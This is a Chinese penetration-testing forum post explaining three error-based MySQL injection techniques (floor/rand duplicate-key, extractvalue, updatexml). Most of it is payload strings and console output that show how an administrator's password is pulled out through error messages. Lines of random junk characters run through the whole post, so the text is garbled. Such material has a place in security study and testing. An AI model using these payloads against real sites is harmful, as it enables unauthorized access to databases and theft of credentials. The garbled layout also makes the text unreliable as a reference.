中国网络渗透测试联盟
标题:
关于Mysql注入过程中的三种报错方式
[打印本页]
作者:
admin
时间:
2012-12-10 10:28
标题:
关于Mysql注入过程中的三种报错方式
放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
9 p, E0 L! C! \# @2 Y4 K
实际测试环境：
: a1 i2 `3 p8 S, L0 i
2 s, v# E& D) @; \- n3 q. K5 A
8 C2 g; ?$ Q" E. @! E+ e
mysql> show tables;
! L2 _0 `. G8 r! s. h4 V+ U
+----------------+
7 Y* P# F& _9 z& g8 G
| Tables_in_test |
8 K7 {5 h+ u! x
+----------------+
+ f' \/ C. A( w! s" A
| admin |
9 b. I: z9 b) K
| article |
; ?5 G' {$ |4 W# s* ]: S' F, P
+----------------+
$ ]5 E" {6 f' a9 Z3 X
3 H4 }1 Q% l: }/ _
9 @$ O$ z* ^, Y" C" Y: c
* M6 _0 [2 n& P
mysql> describe admin;
8 |, F' b+ ^: F" S
+-------+------------------+------+-----+---------+----------------+
! ~' Z9 p: v3 t: b8 ^# h
| Field | Type | Null | Key | Default | Extra |
w2 B3 g7 F' G: Q) F' L8 v
+-------+------------------+------+-----+---------+----------------+
$ S. a/ H+ Z- S1 Z
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
3 `6 G2 m T* l l+ ~7 B# [
| user | varchar(50) | NO | | NULL | |
8 `. ]! A5 ]+ I( P9 _1 v/ R
| pass | varchar(50) | NO | | NULL | |
* E {8 q8 a( |
+-------+------------------+------+-----+---------+----------------+
4 I0 Z# {( y9 p; ^# l* b
1 }: ~) v' Q; U u
: b7 U* w) i6 @5 }" s6 ^# w
+ n7 W2 l" o2 R J
mysql> describe article;
# S. [# a( o9 U, A' I
+---------+------------------+------+-----+---------+----------------+
/ G/ ^ u3 F- O5 S) p" n) j
| Field | Type | Null | Key | Default | Extra |
) q% ?( p1 U @6 c5 @
+---------+------------------+------+-----+---------+----------------+
7 E/ K0 r5 y5 o9 d3 G. V6 s6 Y A
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
% B9 G8 ]3 o e, J- z) o2 j
| title | varchar(50) | NO | | NULL | |
$ g3 \' A+ u# p6 `" c4 k3 p/ m
| content | varchar(50) | NO | | NULL | |
5 r6 z l+ m( ]. V6 s6 b. _
+---------+------------------+------+-----+---------+----------------+
5 ]/ W6 f/ |4 I" s9 {& |$ O
1、通过floor报错
) P+ J# D! t' b8 T. g
可以通过如下一些利用代码
" p( d# L9 b5 @5 A" n
# I# A/ i+ G$ B5 \6 H
; p W2 O/ v0 v! p, E9 F; ]
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
" S* `, B8 t6 t) L2 `$ H
from information_schema.tables group by x)a);
1 L6 l" [ t" M* D, T' A h
- t+ B" `. a) c& t
% a2 h- Q3 j3 Y+ o4 F/ r
and (select count(*) from (select 1 union select null union select !1)x
3 j% r6 D1 T8 z' g; Q$ l) Q
group by concat((select table_name from information_schema.tables limit 1),
6 f6 Z. H2 U& |0 ^0 A! a) \' ]
floor(rand(0)*2)));
# z+ @+ z( M/ h( U4 W* G0 U1 ]( g, Y
举例如下：
9 V/ k6 C: w- b: d C3 V, R
首先进行正常查询：
* ]4 m: h2 [7 A! }8 v m' l
+ _3 _! l0 z! {3 [' f' f
mysql> select * from article where id = 1;
; I8 o: J I" y& \$ w* e& n
+----+-------+---------+
0 C x7 R8 t, w5 Y' R
| id | title | content |
9 [( A6 a+ {9 P6 R% C, l
+----+-------+---------+
7 b& f( r2 y- G+ ^2 V, I
| 1 | test | do it |
8 T: p/ `+ ?) c; c
+----+-------+---------+
: F3 D, B0 I9 i$ U: Z; f
假如id输入存在注入的话，可以通过如下语句进行报错。
J+ ?5 v1 a7 R- C; \
9 R6 C5 e; w: f- N% E, R7 q
8 X: _) H, C9 \ m) {- \; a0 E- M: W
mysql> select * from article where id = 1 and (select 1 from
* |: K8 z( E6 ^6 ?4 D/ U
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 A9 A3 X1 J* x1 Z
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
6 g& R0 S( \5 d/ e1 c1 V
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
; |! u) B, c# \
例如我们需要查询管理员用户名和密码：
! C8 O/ J" W! }/ N% E
Method1:
2 w8 Q2 O4 _1 c2 s' x. f3 f( j$ C% K
6 `8 g4 f) n- s
' L0 }6 H1 }- K2 I$ L8 v+ V
mysql> select * from article where id = 1 and (select 1 from
, q4 @ F% H4 Z) _/ e
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
& a" J( r/ p! j. P6 F6 i1 m8 ^
from information_schema.tables group by x)a);
: h7 U4 }+ x3 U3 R/ h+ c2 ^
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. K o2 P( A6 f" x% `, o8 o
Method2:
8 q3 T& Z; W: T1 H+ A2 b0 w5 d; E
. }$ t$ Z; Z S! N3 V: ]: z, [
$ ^" v6 j/ U6 Q
mysql> select * from article where id = 1 and (select count(*)
1 j% k$ G& Z0 b; _- t
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
" c' [$ Q5 A; @1 S3 s1 V. F6 j: A1 ]
floor(rand(0)*2)));
2 B6 I- {9 W* x1 p
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
' F } w) E: V5 c9 _
2、ExtractValue
) t8 Z, d2 s4 `) z) B7 ]# W
测试语句如下
g: F) m7 ?* w
( S6 ~( h. J+ p
S6 g) p. r' R, i; v$ m* T/ U
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
# _3 v9 W, R/ U. T- V: ~: q
实际测试过程
; \/ b, ]/ t @4 e5 a
$ Q2 x" x% ?! Y$ ~. I, {
- Y+ B. i" l" q
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
, R# X1 y. Y% j, F) D( x
(select pass from admin limit 1)));--
: C9 l8 N2 M5 `
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
6 I) C! X2 b8 `4 H. d, ~
3、UpdateXml
3 D, p* p, g) _. `3 }3 W; V
测试语句
! P7 e @9 }/ D0 v/ L
( w7 e- v8 s% H# p. A0 X
6 S# n; e+ \1 Q4 L, W
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% T z5 M, i4 v i9 A" s/ A- r
实际测试过程
9 F2 N7 x; N1 D. b* l2 J8 o' Q T
6 f$ @. A! I* O' j* a
1 k6 D/ h) ^$ g- P3 m
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 _4 }6 A# h& O& I. m
(select pass from admin limit 1),0x5e24),1));
$ q& t' J# [3 k5 h! [/ V& S
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
4 H0 c9 B5 I; d+ G1 v
All, thanks foreign guys.
+ v+ a. x/ l5 g% _
/ p/ C6 T( I& R- D) c
1 l! n" j5 C, P0 H0 t/ Y4 n* F" x
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2